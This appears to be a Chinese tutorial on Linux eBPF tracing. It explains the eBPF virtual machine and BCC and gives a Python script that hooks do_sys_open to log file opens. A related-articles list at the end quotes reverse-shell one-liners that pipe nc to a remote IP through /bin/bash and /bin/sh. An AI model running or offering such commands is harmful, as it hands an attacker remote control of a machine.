Linux动态追踪——eBPF

目录

摘要 

1 什么是 eBPF

2 eBPF 支持的功能

3 BCC

4 编写脚本

5 总结

6 附


摘要 

        ftrace 和 perf 与 ebpf 同为 linux 内核提供的动态追踪工具,其中 ftrace 侧重于事件跟踪和内核行为的实时分析,perf 更侧重于性能分析和事件统计,与二者相比,ebpf 则更为强大,拥有更高的灵活性。

1 什么是 eBPF

        eBPF 可以理解为是 kernel 中实现的一个虚拟机机制,其拥有自定义的 64 位 RISC 指令集,可以再 linux 内核中运行即时编译的 BPF 程序,支持访问内核功能和内存的部分子集。具体原理为它会将类 C 代码编译为 BPF 字节码,类似 Java 字节码。然后将对应的程序代码挂到内核的钩子上,当钩子函数被调用时,内核将在 eBPF 虚拟机这个沙盒中执行字节码。

        在内核内运行一个完整的虚拟机主要是考虑便利和安全。虽然 eBPF 程序所做的操作都可以通过正常的内核模块来处理,但直接的内核编程是一件非常危险的事情 - 这可能会导致系统锁定、内存损坏和进程崩溃,从而导致安全漏洞和其他意外的效果,特别是在生产设备上(eBPF 经常被用来检查生产中的系统),所以通过一个安全的虚拟机运行本地 JIT 编译的快速内核代码对于安全监控和沙盒、网络过滤、程序跟踪、性能分析和调试都是非常有价值的。部分简单的样例可以在这篇优秀的 Linux Extended BPF (eBPF) Tracing Tools 中找到。

基于设计,eBPF 虚拟机和其程序有意地设计为不是图灵完备的:即不允许有循环(正在进行的工作是支持有界循环【译者注:已经支持有界循环,#pragma unroll 指令】),所以每个 eBPF 程序都需要保证完成而不会被挂起、所有的内存访问都是有界和类型检查的(包括寄存器,一个 MOV 指令可以改变一个寄存器的类型)、不能包含空解引用、一个程序必须最多拥有 BPF_MAXINSNS 指令(默认 4096)、“主"函数需要一个参数(context)等等。当 eBPF 程序被加载到内核中,其指令被验证模块解析为有向环状图,上述的限制使得正确性可以得到简单而快速的验证。

2 eBPF 支持的功能

        eBPF 常用来编写网络程序,将该网络程序附加到网络socket,进行流量过滤,流量分类以及执行网络分类器的动作。eBPF程序甚至可以修改一个已建链的网络socket的配置。例如 XDP 会在网络栈的底层运行 eBPF 程序,高性能地进行处理接收到的报文。另外就是用来调试了。

        下面这张图展示了 eBPF 的工作原理,大致可以分为 4 步:

  1. 编写 eBPF 代码,并生成字节码
  2. 将 eBPF 代码加载到内核的 eBPF 框架(注册 eBPF 程序到 kernel 钩子上)
  3. 事件发生,开始执行 eBPF 程序,记录数据到 maps 中
  4. 读取 maps 数据

        由于 eBPF 偏底层,平常如果是调式使用直接用底层 kernel 的接口写是比较麻烦的,幸运的是 BCC 工具集提供了好用的封装。

3 BCC

        在 eBPF 执行过程中,对于编译、加载还有 maps 等操作,对所有的跟踪程序来说都是通用的。把这些过程通过 Python 抽象起来,也就诞生了 BCC(BPF Compiler Collection)。
        BCC 把 eBPF 中的各种事件源(比如 kprobe、uprobe、tracepoint 等)和数据操作(称为 Maps),也都转换成了 Python 接口(也支持 lua)。这样,使用 BCC 进行动态追踪时,编写简单的脚本就可以了。因为需要跟内核中的数据结构交互,所以真正核心的事件处理逻辑,还是需要用 C 语言来编写。

        安装 BCC 后,在 tools 目录下已经提供了一系列的工具,并在 tools/doc 目录下提供了各工具对应的使用说明了:

[root@centos ~]# yum install bcc-tools[root@centos ~]# ls /usr/share/bcc/tools/
argdist       capable       drsnoop         hardirqs     memleak         perlcalls    pythonstat   slabratetop  tclobjnew   tplist
bashreadline  cobjnew       execsnoop       javacalls    mountsnoop      perlflow     reset-trace  sofdsnoop    tclstat     trace
...[root@centos ~]# ls /usr/share/bcc/tools/doc/
argdist_example.txt       execsnoop_example.txt       mountsnoop_example.txt      reset-trace_example.txt  tclstat_example.txt
bashreadline_example.txt  ext4dist_example.txt        mysqld_qslower_example.txt  rubycalls_example.txt    tcpaccept_example.txt
biolatency_example.txt    ext4slower_example.txt      nfsdist_example.txt         rubyflow_example.txt     tcpconnect_example.txt
biosnoop_example.txt      filelife_example.txt        nfsslower_example.txt       rubygc_example.txt       tcpconnlat_example.txt
...

        例如直接用 BCC 提供的 trace 工具跟踪 do_sys_open 函数调用:

[root@centos ~]# /usr/share/bcc/tools/trace  'do_sys_open "%s", arg2' -T
TIME     PID     TID     COMM            FUNC             -
14:30:06 2899    2954    YDService       do_sys_open      /proc/sys/kernel/random/uuid
14:30:06 32584   32584   sh              do_sys_open      ../lib/tls/x86_64/libtinfo.so.5
14:30:06 32584   32584   sh              do_sys_open      ../lib/tls/libtinfo.so.5
14:30:06 32584   32584   sh              do_sys_open      ../lib/x86_64/libtinfo.so.5
14:30:06 32584   32584   sh              do_sys_open      ../lib/libtinfo.so.5

4 编写脚本

        有时候提供的工具不能很好的满足我们的需求,可能需要手动开发一个脚本来方便调试。假设还是跟踪 do_sys_open,它长这样:

// include/linux/fs.h
extern long do_sys_open(int dfd, const char __user *filename, int flags,umode_t mode);

        编写这样一个脚本同之前讲的 eBPF 原理一一对应,大体分为四步:

1. 定义事件处理函数

#!/bin/python
from bcc import BPF# 1.define BPF program (""" is used for multi-line string).
prog = """
#include <uapi/linux/ptrace.h>
#include <uapi/linux/limits.h>
#include <linux/sched.h>
// define output data structure in C
struct data_t {u32 pid;u64 ts;char comm[TASK_COMM_LEN];int dfd;char fname[NAME_MAX];int flags;unsigned short mode;
};
BPF_PERF_OUTPUT(events);// define the handler for do_sys_open.
// ctx is required, while other params depends on traced function.
int user_cb(struct pt_regs *ctx, int dfd, const char __user *filename, int flags, umode_t mode){struct data_t data = {};data.pid = bpf_get_current_pid_tgid();data.ts = bpf_ktime_get_ns();if (bpf_get_current_comm(&data.comm, sizeof(data.comm)) == 0) {data.dfd = dfd;bpf_probe_read(&data.fname, sizeof(data.fname), (void *)filename);data.flags = flags;data.mode = mode;}events.perf_submit(ctx, &data, sizeof(data));return 0;
}
"""

        这个函数以受限 C 语言来编写,作用是定义事件处理的逻辑。这部分代码需要以字符串的形式送到 eBPF 模块中处理。

2. 将 eBPF 加载到内核中

# 2.load BPF program
bpf = BPF(text=prog)
# attach the kprobe for do_sys_open, and set handler to user_cb
bpf.attach_kprobe(event="do_sys_open", fn_name="user_cb")

3. 读取 maps 数据

# 3.process event
start = 0
def print_event(cpu, data, size):global start# event's type is data_tevent = bpf["events"].event(data)if start == 0:start = event.tstime_s = (float(event.ts - start)) / 1000000000print("%-18.9f %-16s %-6d %-8s %-8s %-8s %-16s" % (time_s, event.comm, event.pid, hex(event.dfd), hex(event.flags), hex(event.mode), event.fname))# loop with callback to print_event
bpf["events"].open_perf_buffer(print_event)
print("%-18s %-16s %-6s %-8s %-8s %-8s %-16s" % ("TIME(s)", "COMM", "PID", "DFD", "FLAGS", "MODE", "FILE"))

4. 等待内核事件的发生

# 4 start the event polling loop
while 1:try:bpf.perf_buffer_poll()except KeyboardInterrupt:exit()

        将上面的几个步骤完整的串起来执行,不出意外的话就可以得到执行结果了:

[root@centos ~]# ./ebpf_test.py 
TIME(s)            COMM             PID    DFD      FLAGS    MODE     FILE            
0.000000000        barad_agent      6364   -0x64    0x8000   0x1b6    /proc/meminfo   
0.000116077        barad_agent      6364   -0x64    0x8000   0x1b6    /proc/meminfo   
0.000261420        barad_agent      6364   -0x64    0x8000   0x1b6    /proc/vmstat    
0.000464681        ebpf_test.py     6363   -0x64    0x8000   0x1b6    /usr/lib64/python2.7/encodings/ascii.so
0.000476553        ebpf_test.py     6363   -0x64    0x8000   0x1b6    /usr/lib64/python2.7/encodings/asciimodule.so
0.000482585        ebpf_test.py     6363   -0x64    0x8000   0x1b6    /usr/lib64/python2.7/encodings/ascii.py
0.000492303        ebpf_test.py     6363   -0x64    0x8000   0x1b6    /usr/lib64/python2.7/encodings/ascii.pyc

        从输出中可以看到 ebpb_test.py 自身为了打印也是打开了一堆的 so 库~~通

5 总结

        通过对 eBPF 相关资料的查询,了解了它的概念及基本原理,下一阶段的学习路径就是要熟练使用 BCC 提供的工具集,以及必要时刻能够改造 BCC 提供的工具或者自己手写一个合适的工具以方便排查问题。

6 附

        贴上完整的源码:Linux/ebpf_test.py at master · Fireplusplus/Linux · GitHub

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/637912.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ROS摄像机标定

文章目录 一、环境准备二、摄像头标定2.1 为什么要标定2.2 标定前准备2.2.1 标定板2.2.2 摄像头调焦 2.3 开始标定2.4 测试标定结果 总结参考资料 一、环境准备 安装usb_cam相机驱动 sudo apt-get install ros-noetic-usb-cam 安装标定功能包 sudo apt-get install ros-noet…

Vitis HLS 学习笔记--HLS优化指令示例-目录

目录 1. 示例集合概述 2. 内容分析 2.1 array_partition 2.2 bind_op_storage 2.3 burst_rw 2.4 critical_path 2.5 custom_datatype 2.6 dataflow_stream 2.7 dataflow_stream_array 2.8 dependence_inter 2.9 gmem_2banks 2.10 kernel_chain 2.11 lmem_2rw 2.1…

从零实现诗词GPT大模型:实现Transformer架构

专栏规划: https://qibin.blog.csdn.net/article/details/137728228 首先说明一下,跟其他文章不太一样,在本篇文章中不会对Transformer架构中的自注意力机制进行讲解,而是后面单独1~2篇文章详细讲解自注意力机制,我认为由浅入深的先了解Transformer整体架构和其中比较简单…

Java之类和对象

一面向对象的初步认知 1.什么是面向对象 Java是一门纯面向对象的语言(Object Oriented Program&#xff0c;简称OOP)&#xff0c;在面向对象的世界里&#xff0c;一切皆为对象。面向对象是解决问题的一种思想&#xff0c;主要依靠对象之间的交互完成一件事情。用面向对象的思想…

政安晨:【Keras机器学习示例演绎】(八)—— 利用 PointNet 进行点云分割

目录 简介 导入 下载数据集 加载数据集 构建数据集 预处理 创建 TensorFlow 数据集 PointNet 模型 排列不变性 变换不变性 点之间的相互作用 实例化模型 训练 直观了解培训情况 推论 最后说明 政安晨的个人主页&#xff1a;政安晨 欢迎 &#x1f44d;点赞✍评论…

【AI开发:音频】二、GPT-SoVITS使用方法和过程中出现的问题(GPU版)

1.FileNotFoundError: [Errno 2] No such file or directory: logs/guanshenxxx/2-name2text-0.txt 这个问题中包含了两个&#xff1a; 第一个&#xff1a;No module named pyopenjtalk 我的电脑出现的就是这个 解决&#xff1a;pip install pyopenjtalk 第二个&#xff1a…

Wpf 使用 Prism 实战开发Day21

配置默认首页 当应用程序启动时&#xff0c;默认显示首页 一.实现思路&#xff0c;通过自定义接口来配置应用程序加载完成时&#xff0c;设置默认显示页 步骤1.创建自定义 IConfigureService 接口 namespace MyToDo.Common {/// <summary>/// 配置默认显示页接口/// <…

深入理解CAS机制-基础使用与三大问题

&#x1f3f7;️个人主页&#xff1a;牵着猫散步的鼠鼠 &#x1f3f7;️系列专栏&#xff1a;Java全栈-专栏 &#x1f3f7;️个人学习笔记&#xff0c;若有缺误&#xff0c;欢迎评论区指正 目录 1. 前言 2. 原子性问题 3. 乐观锁与悲观锁 4. CAS操作 5. CAS算法带来的三大…

第24天:安全开发-PHP应用文件管理模块显示上传黑白名单类型过滤访问控制

第二十四天 一、PHP文件管理-显示&上传功能实现 如果被抓包抓到数据包&#xff0c;并修改Content-Type内容 则也可以绕过筛查 正常进行上传和下载 二、文件上传-$_FILES&过滤机制实现 无过滤机制 黑名单过滤机制 使用 explode 函数通过点号分割文件名&#xff0c;…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

力扣HOT100 - 25. K 个一组翻转链表

解题思路&#xff1a; class Solution {public ListNode reverseKGroup(ListNode head, int k) {ListNode dum new ListNode(0, head);ListNode pre dum;ListNode end dum;while (end.next ! null) {for (int i 0; i < k && end ! null; i) {end end.next;}if …

使用docker搭建GitLab个人开发项目私服

一、安装docker 1.更新系统 dnf update # 最后出现这个标识就说明更新系统成功 Complete!2.添加docker源 dnf config-manager --add-repohttps://download.docker.com/linux/centos/docker-ce.repo # 最后出现这个标识就说明添加成功 Adding repo from: https://download.…